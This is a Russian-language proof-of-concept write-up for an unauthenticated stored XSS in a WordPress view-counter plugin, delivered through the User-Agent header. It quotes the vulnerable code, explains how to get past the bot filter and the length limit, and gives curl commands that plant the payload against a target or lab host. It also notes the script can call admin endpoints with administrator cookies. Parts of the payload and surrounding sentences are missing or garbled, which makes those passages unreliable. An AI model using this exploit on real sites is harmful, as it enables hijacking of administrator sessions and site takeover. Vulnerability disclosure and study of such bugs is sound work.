
Proof-of-concept для CVE-2026-97347 — неаутентифицированный хранимый XSS в плагине WordPress Post Views Stats Counter через заголовок User-Agent, с шагами воспроизведения.
| Плагин | Post Views Stats Counter |
| Уязвимая версия | ≤ 1.1.7 |
| Класс ошибки | Stored XSS без аутентификации |
| Точка входа | HTTP-заголовок User-Agent |
| Место срабатывания | Страница статистики администратора (options-general.php?page=post_views_stats_admin_menu) |
| CVSS 3.1 | 7.2 High |
| Статус | Не исправлено на момент раскрытия, исправленных версий до сих пор не известно |
| Исследователь | Nawaf Althurwi |
Плагин записывает каждый просмотр страницы, включая заголовок User-Agent посетителя, в пользовательскую таблицу (wp_pvs_counter). Вот где он захватывает заголовок — никакой санитизации нигде на этом пути:
// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];
Единственная защита на входе — это фильтр ботов, и он представляет собой всего лишь чёрный список подстрок:
// wp_pvscounter.php
function pvs_counter_is_bot() {
$pvs_bots = get_option('pvs_counter_value_admin_bots');
...
foreach( $pvs_bots as $pvs_bot ) {
if (stripos( $ua, $pvs_bot ) !== false) {
$bot = 1;
return $bot;
}
}
}
Список по умолчанию — bot, spider, crawler. Всё, что не содержит эти подстроки, сохраняется. Это весь фильтр.
На стороне вывода страница администратора формирует выпадающий список «зарегистрированных user agent» и выводит сохранённое значение как есть внутри тега <option> — esc_attr() защищает атрибут value, но видимая метка выводится простым echo:
// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
<option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>
Таким образом, неаутентифицированный запрос с HTML в заголовке User-Agent выполняется в браузере администратора при следующем открытии страницы статистики плагина. Классический хранимый XSS, без аутентификации, без какого-либо взаимодействия со стороны жертвы, кроме просмотра собственной панели управления.
Ещё одно ограничение, о котором стоит знать: столбец useragent имеет тип varchar(155), поэтому полезная нагрузка должна укладываться в 155 символов.
Подходит любой залогированный URL — главная страница /?p=1 вполне годится. Замените TARGET на хост WordPress, а YOUR_PAYLOAD — на то, что вы хотите выполнить в сессии администратора:
curl -s -o /dev/null \
-H 'User-Agent: </option></select>' \
'http://TARGET/?p=1'
Замечания по структуре полезной нагрузки:
</option></select> выводит значение за пределы разметки выпадающего списка — это не украшение, без него инъекция остаётся запертой внутри тега <option>.bot/spider/crawler (без учёта регистра), иначе запрос отфильтровывается как бот ещё до попадания в базу данных.alert(), используйте вместо них   — некоторые HTTP-клиенты искажают пробелы в значениях заголовков.Однострочник, который я использовал в своей лаборатории:
curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
-H 'User-Agent: </option></select>' \
'http://packetradar.local:8090/?p=1'

Просто обычный curl. HTTP 200 означает, что просмотр был учтён, а заголовок попал в базу данных.
Откройте Settings → Post Views Stats Counter под учётной записью администратора (или просто обновите страницу, если она уже открыта). Полезная нагрузка отображается в составе списка виджетов статистики, и срабатывает onerror:

S:C — XSS выполняется в wp-admin, поэтому может вызывать admin-ajax и эндпоинты установки плагинов с cookie администратора)
Более высокое качество, если хотите перематывать/приостанавливать: exploit-vid.mp4
Протестировано на версии 1.1.7 в WordPress 6.x в локальной среде Docker. Без аутентификации, без взаимодействия с пользователем, кроме открытия страницы статистики.